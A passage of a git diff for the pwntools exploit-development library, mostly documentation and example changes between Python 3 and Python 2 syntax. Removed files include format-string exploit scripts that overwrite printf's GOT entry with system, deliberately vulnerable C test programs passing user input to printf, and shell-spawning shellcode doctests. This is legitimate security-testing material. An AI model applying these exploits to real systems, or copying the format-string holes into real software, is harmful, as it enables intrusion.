return False
class _DummyClass(object): pass
class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
def check_output(self, want, got, optionflags):
sup = super(Py2OutputChecker, self).check_output
if sup(want, got, optionflags):
return True
try:
rly_want = pwnlib.util.safeeval.const(want)
if sup(repr(rly_want), got, optionflags):
return True
rly_got = pwnlib.util.safeeval.const(got)
if rly_want == rly_got:
return True
except ValueError:
pass
rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
if sup(rly_want, got, optionflags):
return True
rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
return sup(rly_want, got, optionflags)
def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
if checker is None:
checker = Py2OutputChecker()
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
class EndlessLoop(Exception): pass
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
# Test non-exported members
class ModuleDocumenter(sphinx.ext.autodoc.ModuleDocumenter):
def get_object_members(self, want_all):
if want_all:
# if not hasattr(self.object, '__all__'):
# for implicit module members, check __module__ to avoid
# documenting imported objects
return True, safe_getmembers(self.object)
# else:
# memberlist = self.object.__all__
# # Sometimes __all__ is broken...
# if not isinstance(memberlist, (list, tuple)) or not \
# all(isinstance(entry, string_types) for entry in memberlist):
# self.directive.warn(
# '__all__ should be a list of strings, not %r '
# '(in module %s) -- ignoring __all__' %
# (memberlist, self.fullname))
# # fall back to all members
# return True, safe_getmembers(self.object)
else:
memberlist = self.options.members or []
ret = []
for mname in memberlist:
try:
ret.append((mname, safe_getattr(self.object, mname)))
except AttributeError:
self.directive.warn(
'missing attribute mentioned in :members: or __all__: '
'module %s, attribute %s' % (
safe_getattr(self.object, '__name__', '???'), mname))
return False, ret
if 'doctest' in sys.argv:
def setup(app):
app.connect('autodoc-skip-member', dont_skip_any_doctests)
if sys.version_info[:1] < (3,):
import sphinx.ext.doctest
sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
sphinx.ext.autodoc.ModuleDocumenter = ModuleDocumenter
-1
View File
@@ -2,7 +2,6 @@
from pwn import *
from glob import glob
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
:mod:`pwnlib.elf.elf` --- ELF Files
===========================================================
+13 -12
View File
@@ -5,20 +5,21 @@
:mod:`pwnlib.encoders` --- Encoding Shellcode
===============================================
.. automodule:: pwnlib.encoders
:members:
.. automodule:: pwnlib.encoders.encoder
:members:
.. automodule:: pwnlib.encoders.amd64
:members:
.. automodule:: pwnlib.encoders.arm
:members:
.. automodule:: pwnlib.encoders.i386
:members:
.. automodule:: pwnlib.encoders.i386.xor
:members:
.. automodule:: pwnlib.encoders.i386.delta
:members:
.. automodule:: pwnlib.encoders.amd64.delta
:members:
.. automodule:: pwnlib.encoders.arm.xor
:members:
.. automodule:: pwnlib.encoders.mips.xor
:members:
-9
View File
@@ -1,9 +0,0 @@
.. testsetup:: *
from pwnlib.filepointer import *
:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
============================================================
.. automodule:: pwnlib.filepointer
:members:
-2
View File
@@ -1,8 +1,6 @@
.. testsetup:: *
from pwn import *
context.arch = 'amd64'
context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
:mod:`pwnlib.gdb` --- Working with GDB
======================================
-1
View File
@@ -54,7 +54,6 @@ Each of the ``pwntools`` modules is documented here.
encoders
elf
exception
filepointer
flag
fmtstr
gdb
+3 -3
View File
@@ -25,9 +25,9 @@ pwntools is available as a ``pip`` package.
.. code-block:: bash
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ pip install --upgrade pip
$ pip install --upgrade pwntools
Development
--------------
+1 -1
View File
@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
.. code-block:: bash
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
Alternate OSes
^^^^^^^^^^^^^^^^
+33 -33
View File
@@ -29,12 +29,12 @@ For example, remote connections via :mod:`pwnlib.tubes.remote`.
>>> conn = remote('ftp.ubuntu.com',21)
>>> conn.recvline() # doctest: +ELLIPSIS
b'220 ...'
>>> conn.send(b'USER anonymous\r\n')
>>> conn.recvuntil(b' ', drop=True)
b'331'
'220 ...'
>>> conn.send('USER anonymous\r\n')
>>> conn.recvuntil(' ', drop=True)
'331'
>>> conn.recvline()
b'Please specify the password.\r\n'
'Please specify the password.\r\n'
>>> conn.close()
It's also easy to spin up a listener
@@ -42,20 +42,20 @@ It's also easy to spin up a listener
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
>>> r.send(b'hello')
>>> r.send('hello')
>>> c.recv()
b'hello'
'hello'
Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`.
::
>>> sh = process('/bin/sh')
>>> sh.sendline(b'sleep 3; echo hello world;')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
''
>>> sh.recvline(timeout=5)
b'hello world\n'
'hello world\n'
>>> sh.close()
Not only can you interact with processes programmatically, but you can
@@ -74,14 +74,14 @@ a ``process`` tube.
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
>>> shell['whoami']
b'bandit0'
'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP
>>> sh.sendline('sleep 3; echo hello world;') # doctest: +SKIP
>>> sh.recvline(timeout=1)
b''
''
>>> sh.recvline(timeout=5)
b'hello world\n'
'hello world\n'
>>> shell.close()
Packing Integers
@@ -97,13 +97,13 @@ unpacking codes, and littering your code with helper routines.
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = unhex('37130000')
>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
>>> leet = '37130000'.decode('hex')
>>> u32('abcd') == struct.unpack('I', 'abcd')[0]
True
The packing/unpacking operations are defined for many common bit-widths.
>>> u8(b'A') == 0x41
>>> u8('A') == 0x41
True
Setting the Target Architecture and OS
@@ -112,9 +112,9 @@ Setting the Target Architecture and OS
The target architecture can generally be specified as an argument to the routine that requires it.
>>> asm('nop')
b'\x90'
'\x90'
>>> asm('nop', arch='arm')
b'\x00\xf0 \xe3'
'\x00\xf0 \xe3'
However, it can also be set once in the global ``context``. The operating system, word size, and endianness can also be set here.
@@ -126,10 +126,10 @@ However, it can also be set once in the global ``context``. The operating syste
Additionally, you can use a shorthand to set all of the values at once.
>>> asm('nop')
b'\x90'
'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
b'\xe3 \xf0\x00'
'\xe3 \xf0\x00'
.. doctest::
:hide:
@@ -158,12 +158,12 @@ Assembly and Disassembly
Never again will you need to run some already-assembled pile of shellcode
from the internet! The :mod:`pwnlib.asm` module is full of awesome.
>>> enhex(asm('mov eax, 0'))
>>> asm('mov eax, 0').encode('hex')
'b800000000'
But if you do, it's easy to suss out!
>>> print(disasm(unhex('6a0258cd80ebf9')))
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
0: 6a 02 push 0x2
2: 58 pop eax
3: cd 80 int 0x80
@@ -176,7 +176,7 @@ loaded with useful time-saving shellcodes.
Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing
file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
>>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex') # doctest: +ELLIPSIS
'6a3158cd80...'
@@ -188,10 +188,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
>>> print(cyclic(20).decode())
>>> print cyclic(20)
aaaabaaacaaadaaaeaaa
>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time
>>> print(cyclic_find(b'faab'))
>>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166)) at crash time
>>> print cyclic_find('faab')
120
ELF Manipulation
@@ -200,22 +200,22 @@ ELF Manipulation
Stop hard-coding things! Look them up at runtime with :mod:`pwnlib.elf`.
>>> e = ELF('/bin/cat')
>>> print(hex(e.address)) #doctest: +SKIP
>>> print hex(e.address) #doctest: +SKIP
0x400000
>>> print(hex(e.symbols['write'])) #doctest: +SKIP
>>> print hex(e.symbols['write']) #doctest: +SKIP
0x401680
>>> print(hex(e.got['write'])) #doctest: +SKIP
>>> print hex(e.got['write']) #doctest: +SKIP
0x60b070
>>> print(hex(e.plt['write'])) #doctest: +SKIP
>>> print hex(e.plt['write']) #doctest: +SKIP
0x401680
You can even patch and save the files.
>>> e = ELF('/bin/cat')
>>> e.read(e.address, 4)
b'\x7fELF'
'\x7fELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(open('/tmp/quiet-cat','rb').read(1))
>>> disasm(file('/tmp/quiet-cat','rb').read(1))
' 0: c3 ret'
-1
View File
@@ -2,7 +2,6 @@
from pwn import *
from pwnlib.protocols.adb import AdbClient
AdbClient().wait_for_device()
:mod:`pwnlib.protocols.adb` --- ADB Protocol Implementation
===========================================================
-10
View File
@@ -1,10 +0,0 @@
.. testsetup:: *
from pwn import *
import tempfile
:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
========================================================
.. automodule:: pwnlib.rop.ret2dlresolve
:members:
-6
View File
@@ -3,9 +3,3 @@
.. automodule:: pwnlib.term
:members:
Term Modules
-------------------
.. toctree::
term/readline
-10
View File
@@ -1,10 +0,0 @@
.. testsetup:: *
from pwnlib.term.readline import *
import io
:mod:`pwnlib.term.readline` --- Terminal nice readline
======================================================
.. automodule:: pwnlib.term.readline
:members:
-9
View File
@@ -1,9 +0,0 @@
.. testsetup:: *
from pwnlib.tubes.buffer import *
:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes
==============================================================
.. automodule:: pwnlib.tubes.buffer
:members:
-5
View File
@@ -1,8 +1,3 @@
.. testsetup:: *
from pwn import *
import io
:mod:`pwnlib.ui` --- Functions for user interaction
===================================================
-11
View File
@@ -1,11 +0,0 @@
.. testsetup:: *
from pwnlib.util.getdents import *
from pwnlib.util.fiddling import unhex
:mod:`pwnlib.util.getdents` --- Linux binary directory listing
==============================================================
.. automodule:: pwnlib.util.getdents
:members:
-1
View File
@@ -1,6 +1,5 @@
.. testsetup:: *
from pprint import pprint
from pwnlib.util.misc import *
import os, subprocess
os.chdir("..")
-1
View File
@@ -1,7 +1,6 @@
.. testsetup:: *
from pwnlib.util.proc import *
from pwnlib.tubes.process import process
import os, sys
+4 -11
View File
@@ -26,10 +26,6 @@ Try running this example with::
```
Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
```
* `attach.py`
```
Example showing `pwnlib.gdb.attach()`
```
* `clean_and_log.py`
```
Use case for `pwnlib.tubes.tube.clean_and_log`.
@@ -69,7 +65,8 @@ Example showing `pwnlib.ui.options()`
```
* `port_forward.py`
```
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`. Notice
that `<>` is just a shorthand.
```
* `readline_completers.py`
```
@@ -77,10 +74,6 @@ Example showing pwnlib's readline implementation and a few completers. This
part of pwnlib will probably see some major changes soon, but we wanted to show
off some proof-of-concepts.
```
* `remote.py`
```
Example showing how to use the remote class.
```
* `remote_gdb_debugging.py`
```
Simple example showing how to use the remote
@@ -110,7 +103,7 @@ and::
$ TERM=xterm-256color python text.py
```
* `yesno.py`
* `remote.py`
```
Example showing `pwnlib.ui.yesno()`
Example showing how to use the remote class.
```
+9 -12
View File
@@ -1,25 +1,22 @@
from __future__ import print_function
import gdb
from pwn import adb, context
from pwn import *
# Tell pwntools that the target is an Android device
context.os = "android"
context.arch = "aarch64" # or 'arm'
context.os='android'
context.arch='aarch64' # or 'arm'
# Optionally, set the remote ADB server address
context.adb_host = "172.16.110.1"
context.adb_host='172.16.110.1'
# Wait for a device to become available
print(adb.wait_for_device())
print adb.wait_for_device()
# Who am I?
print(adb.process("id").recvall().strip())
print adb.process('id').recvall().strip()
# Interactive sessions!
io = adb.shell()
io.sendline("echo Hello, world; exit")
print(io.recvall().replace("\r\n", "\n").strip())
io.sendline('echo Hello, world; exit')
print io.recvall().replace('\r\n', '\n').strip()
# Debugging!
gdb.debug("sh").interactive()
gdb.debug('sh').interactive()
+2 -2
View File
@@ -14,5 +14,5 @@ Try running this example with::
from pwn import *
print(args['RHOST'] or 'RHOST is not set')
print(args['RPORT'] or 'RPORT is not set')
print args['RHOST'] or 'RHOST is not set'
print args['RPORT'] or 'RPORT is not set'
+2 -2
View File
@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
shellcode = shellcraft.i386_to_amd64()
shellcode_asm = asm(shellcode)
print(enhex(shellcode_asm))
print(disasm(shellcode_asm))
print enhex(shellcode_asm)
print disasm(shellcode_asm)
+1 -1
View File
@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
from pwn import *
bash = process('/bin/bash')
gdb.attach(bash, gdbscript = '''
gdb.attach(bash, execute = '''
p "hello from pwnlib"
c
''')
+1 -1
View File
@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
while True:
line = r.recvline()
print(re.findall(r'^prefix (\S+)$', line)[0])
print re.findall('^prefix (\S+)$', line)[0]
-53
View File
@@ -1,53 +0,0 @@
CFLAGS := -Wno-unused-result -Wno-format-security
TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
printf-loop.native printf-loop.native32
.PHONY: run
run: all
./exploit2.py
./exploit.py
.PHONY: all
all: $(TARGETS)
.PHONY: clean
clean:
rm -f $(TARGETS)
# mips variants
%.mips: %.c
mips-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
%.mipsel: %.c
mipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
%.mips64: %.c
mips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
%.mips64el: %.c
mips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
# arm variants
%.arm: %.c
arm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o "$@" $^
%.aarch64: %.c
aarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
# ppc variants
%.ppc: %.c
powerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
%.ppc64: %.c
powerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
# sparc variants
%.sparc64: %.c
sparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
# native variants
%.native: %.c
gcc $(CFLAGS) -o "$@" $^
%.native32: %.c
gcc $(CFLAGS) -m32 -o "$@" $^
# install deps on ubuntu xenial
.PHONY: install-apt
install-apt:
apt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc
-39
View File
@@ -1,39 +0,0 @@
#!/usr/bin/env python
from pwn import *
@context.quiet
def exec_fmt(payload):
p = context.binary.process()
p.sendline(payload)
return p.recvall()
def exploit(binary):
context.binary = ELF(binary)
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
with context.binary.process() as p:
addr = unpack(p.recv(context.bytes))
payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
p.sendline(payload)
p.recvuntil(b"DONE")
print(hex(u32(p.recv(4))))
binaries = [
"printf.mips",
"printf.mips64",
"printf.mipsel",
"printf.mips64el",
"printf.native",
"printf.native32",
"printf.ppc",
"printf.ppc64",
"printf.sparc64",
"printf.arm",
"printf.aarch64",
]
if len(sys.argv) > 1:
binaries = sys.argv[1:]
for binary in binaries:
exploit(binary)
-68
View File
@@ -1,68 +0,0 @@
#!/usr/bin/env python
"""
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
"""
from pwn import *
def exploit(e):
p = e.process()
def executer(fmt):
p.sendline(fmt)
p.stdin.flush()
r = p.recvuntil(b'again=\n')
return r
f = FmtStr(executer)
# find some code pointer on stack
addrbits = min(context.bits, 48) # address space is no larger than 48-bit
min_code_ptr = 0x10 << addrbits-8
max_code_ptr = 0x7e << addrbits-8
for off in range(64):
random_code_ptr = f.leak_stack(off)
packed = bytearray(pack(random_code_ptr))
chars = set(packed) - {0}
# simple heuristic
if (min_code_ptr < random_code_ptr < max_code_ptr
and max(chars) > 0x80 and min(chars) < 0x80
and not hex(random_code_ptr).startswith('0x7ff')):
break
log.info("Code ptr: %#x"%random_code_ptr)
online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
print("Stack: %#x" % (online_elf.stack(),))
print("Heap: %#x" % (online_elf.heap(),))
info("Finding base address of the executable")
for ref in e.sym:
if not ref:
continue
# if we have the address of a symbol on remote, we know the offset
ref_addr = online_elf.lookup(ref)
if ref_addr:
print("%s: %r" % (ref, ref_addr))
break
system = online_elf.lookup('system', 'libc')
print("system: %#x" % system)
# fix up the address
e.address += ref_addr - e.sym[ref]
# actual exploit: overwrite printf with system
f.write(e.sym.got.printf, system)
f.execute_writes()
p.sendline(b'echo ::$(( 16 * 16 ))')
p.recvuntil(b'::')
line = p.recvline()
assert line == b'256\n'
p.sendline(b'exit')
p.close()
for context.binary in 'printf-loop.native32', 'printf-loop.native':
exploit(context.binary)
-14
View File
@@ -1,14 +0,0 @@
#include <stdio.h>
#include <unistd.h>
int main() {
while (1) {
char str[256];
int n = read(STDIN_FILENO, str, sizeof(str) - 1);
str[n] = '\0';
printf(str);
printf("\n=try again=\n");
fflush(stdout);
}
return 0;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-29
View File
@@ -1,29 +0,0 @@
#ifdef _FORTIFY_SOURCE
#undef _FORTIFY_SOURCE
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11110000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11110100)
int main(int argc, char const *argv[])
{
char buff[1024];
void *ptr = NULL;
int *my_var = TARGET;
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if(ptr != MEMORY_ADDRESS)
{
perror("mmap");
return EXIT_FAILURE;
}
*my_var = 0x41414141;
write(1, &my_var, sizeof(int *));
scanf("%s", buff);
dprintf(2, buff);
write(1, "DONE", 4);
write(1, my_var, sizeof(int));
return 0;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+2 -3
View File
@@ -24,7 +24,7 @@ def append_example(_arg, top, names):
continue
path = os.path.join(top, name)[2:] # strip './'
log.info('-> %s' % path)
data = read(path).strip().decode()
data = read(path).strip()
if data[0:3] not in ('"""', "'''"):
log.warning(' Has no docstring!')
continue
@@ -37,7 +37,6 @@ def append_example(_arg, top, names):
out += '* `%s`\n' % path
out += '```%s```\n' % doc
for path, dirs, files in os.walk('.', onerror=None):
append_example(dirs, path, sorted(files))
os.path.walk('.', append_example, None)
write('README.md', out)
+1 -1
View File
@@ -5,4 +5,4 @@ Example showing `pwnlib.ui.options()`
from pwn import *
opts = [string.letters[x] for x in range(10)]
print('You choose "%s"' % opts[options('Pick one:', opts)])
print 'You choose "%s"' % opts[options('Pick one:', opts)]
+3 -2
View File
@@ -1,10 +1,11 @@
"""
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`. Notice
that `<>` is just a shorthand.
"""
from pwn import *
while True:
listen(1337).wait_for_connection().connect_both(remote('google.com', 80))
listen(1337).wait_for_connection() <> remote('google.com', 80)
# now point your browser (or curl(1)) to http://localhost:1337
+6 -6
View File
@@ -19,13 +19,13 @@ c1 = LongestPrefixCompleter([
c2 = PathCompleter(mask = '*.py')
with c1:
print('type "exit" to exit')
print 'type "exit" to exit'
while True:
s = str_input(prompt = '> ').strip()
s = term.readline.readline(prompt = '> ').strip()
if s in ('exit', 'enough!'):
break
print('You wrote', s)
print 'You wrote', s
with c2:
print('choose a file')
s = str_input(prompt = text.bold_green('$ ')).strip()
print('You picked', s)
print 'choose a file'
s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
print 'You picked', s
+1 -1
View File
@@ -6,6 +6,6 @@ from pwn import *
sock = remote('127.0.0.1', 9001)
print(sock.recvline())
print sock.recvline()
sock.send('foo')
sock.interactive()
+2 -2
View File
@@ -8,10 +8,10 @@ import getpass
from pwn import *
s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa")
c = gdb.ssh_gdb(s, '/bin/sh', gdbscript = '''
c = gdb.ssh_gdb(s, '/bin/sh', execute = '''
p/x $pc
c''')
c.sendline('ls -la')
c.sendline('exit')
print(c.recvall())
print c.recvall()
+2 -4
View File
@@ -3,12 +3,11 @@ context.arch='aarch64'
frame = SigreturnFrame()
registers = ['x%i' % i for i in range(0, 31)]
registers += ['pc']
registers += ['sp', 'pc']
for index, register in enumerate(registers):
setattr(frame, register, index)
frame.sp = 64
assembly = '\n'.join([
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -24,9 +23,8 @@ assert io.poll() == -11
corefile = io.corefile
for register in registers:
for index, register in enumerate(registers):
value = getattr(corefile, register)
index = getattr(frame, register)
if index != value:
log.error("%s != %i (%i)" % (register, index, value))
else:
+2 -4
View File
@@ -4,12 +4,11 @@ context.arch='arm'
frame = SigreturnFrame()
registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
for index, register in enumerate(registers):
setattr(frame, register, index)
frame.sp = 64
assembly = '\n'.join([
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -25,9 +24,8 @@ assert io.poll() == -11
corefile = io.corefile
for register in registers:
for index, register in enumerate(registers):
value = getattr(corefile, register)
index = getattr(frame, register)
if index != value:
log.error("%s != %i (%i)" % (register, index, value))
else:
+2 -2
View File
@@ -10,9 +10,9 @@ n = 1
h = log.waitfor('spinners running', status = str(n))
hs = []
print('type "q" to quit')
print 'type "q" to quit'
while True:
s = str_input('> ').strip()
s = raw_input('> ')
if s == 'q':
break
hs.append(log.waitfor(s, status = 'running'))
+1 -1
View File
@@ -9,5 +9,5 @@ splash()
h = log.waitfor("You wrote", status = "--")
while True:
l = str_input('> ').strip()
l = raw_input('> ')
h.status(l.upper())
+5 -5
View File
@@ -14,7 +14,7 @@ log.info("pwd: %s" % shell.pwd())
tube = shell.run('cat')
tube.send("Hello, cat")
tube.shutdown("out")
print(tube.recvall())
print tube.recvall()
# Show automatic working directories
shell.set_working_directory()
@@ -29,12 +29,12 @@ int main() {
shell.gcc(['example.c','-o','example'])
print(shell['./example'])
print shell['./example']
# Show the different styles of calling
print(shell.echo("single string"))
print(shell.echo(["list","of","strings"]))
print(shell["echo single statement"])
print shell.echo("single string")
print shell.echo(["list","of","strings"])
print shell["echo single statement"]
# Show off the interactive shell
shell.interactive()
+5 -5
View File
@@ -12,8 +12,8 @@ and::
from pwn import *
s = 'hello from pwntools'
print(text.black_on_green(s))
print(text.black_on_bright_green(s))
print(text.green_on_black(s))
print(text.bright_green_on_black(s))
print(text.bold_green_on_black(s))
print text.black_on_green(s)
print text.black_on_bright_green(s)
print text.green_on_black(s)
print text.bright_green_on_black(s)
print text.bold_green_on_black(s)
+2 -2
View File
@@ -5,6 +5,6 @@ Example showing `pwnlib.ui.yesno()`
from pwn import *
if ui.yesno('Do you like Pwntools?'):
print(':D')
print ':D'
else:
print(':(')
print ':('
+16 -16
View File
@@ -6,21 +6,21 @@
FROM kalilinux/kali-linux-docker
MAINTAINER Maintainer Gallopsled et al.
RUN apt-get update \
&& apt-get install -y \
build-essential \
git \
libssl-dev \
libffi-dev \
python2.7 \
python-pip \
python-dev \
&& pip install --upgrade pip \
&& python -m pip install --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& apt-get install -y sudo \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
RUN apt-get update
RUN apt-get install -y build-essential
RUN apt-get install -y git
RUN apt-get install -y libssl-dev
RUN apt-get install -y libffi-dev
RUN apt-get install -y python2.7
RUN apt-get install -y python-pip
RUN apt-get install -y python-dev
RUN pip install --upgrade pip
RUN python -m pip install --upgrade pwntools
RUN PWNLIB_NOTERM=1 pwn update
RUN apt-get install -y sudo
RUN useradd -m pwntools
RUN passwd --delete --unlock pwntools
RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
USER pwntools
WORKDIR /home/pwntools
+16 -16
View File
@@ -6,21 +6,21 @@
FROM ubuntu:precise
MAINTAINER Maintainer Gallopsled et al.
RUN apt-get update \
&& apt-get install -y \
build-essential \
git \
libssl-dev \
libffi-dev \
python2.7 \
python-pip \
python-dev \
&& pip install --upgrade pip \
&& python -m pip install --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& apt-get install -y sudo \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
RUN apt-get update
RUN apt-get install -y build-essential
RUN apt-get install -y git
RUN apt-get install -y libssl-dev
RUN apt-get install -y libffi-dev
RUN apt-get install -y python2.7
RUN apt-get install -y python-pip
RUN apt-get install -y python-dev
RUN pip install --upgrade pip
RUN python -m pip install --upgrade pwntools
RUN PWNLIB_NOTERM=1 pwn update
RUN apt-get install -y sudo
RUN useradd -m pwntools
RUN passwd --delete --unlock pwntools
RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
USER pwntools
WORKDIR /home/pwntools
+16 -16
View File
@@ -6,21 +6,21 @@
FROM ubuntu:trusty
MAINTAINER Maintainer Gallopsled et al.
RUN apt-get update \
&& apt-get install -y \
build-essential \
git \
libssl-dev \
libffi-dev \
python2.7 \
python-pip \
python-dev \
&& pip install --upgrade pip \
&& python -m pip install --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& apt-get install -y sudo \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
RUN apt-get update
RUN apt-get install -y build-essential
RUN apt-get install -y git
RUN apt-get install -y libssl-dev
RUN apt-get install -y libffi-dev
RUN apt-get install -y python2.7
RUN apt-get install -y python-pip
RUN apt-get install -y python-dev
RUN pip install --upgrade pip
RUN python -m pip install --upgrade pwntools
RUN PWNLIB_NOTERM=1 pwn update
RUN apt-get install -y sudo
RUN useradd -m pwntools
RUN passwd --delete --unlock pwntools
RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
USER pwntools
WORKDIR /home/pwntools
+16 -16
View File
@@ -6,21 +6,21 @@
FROM ubuntu:xenial
MAINTAINER Maintainer Gallopsled et al.
RUN apt-get update \
&& apt-get install -y \
build-essential \
git \
libssl-dev \
libffi-dev \
python2.7 \
python-pip \
python-dev \
&& pip install --upgrade pip \
&& python -m pip install --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& apt-get install -y sudo \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
RUN apt-get update
RUN apt-get install -y build-essential
RUN apt-get install -y git
RUN apt-get install -y libssl-dev
RUN apt-get install -y libffi-dev
RUN apt-get install -y python2.7
RUN apt-get install -y python-pip
RUN apt-get install -y python-dev
RUN pip install --upgrade pip
RUN python -m pip install --upgrade pwntools
RUN PWNLIB_NOTERM=1 pwn update
RUN apt-get install -y sudo
RUN useradd -m pwntools
RUN passwd --delete --unlock pwntools
RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
USER pwntools
WORKDIR /home/pwntools
+11 -9
View File
@@ -21,7 +21,7 @@ import pwnlib
from pwnlib import *
from pwnlib.asm import *
from pwnlib.context import Thread
from pwnlib.context import context, LocalContext
from pwnlib.context import context
from pwnlib.dynelf import DynELF
from pwnlib.encoders import *
from pwnlib.elf.corefile import Core, Corefile, Coredump
@@ -29,18 +29,15 @@ from pwnlib.elf.elf import ELF, load
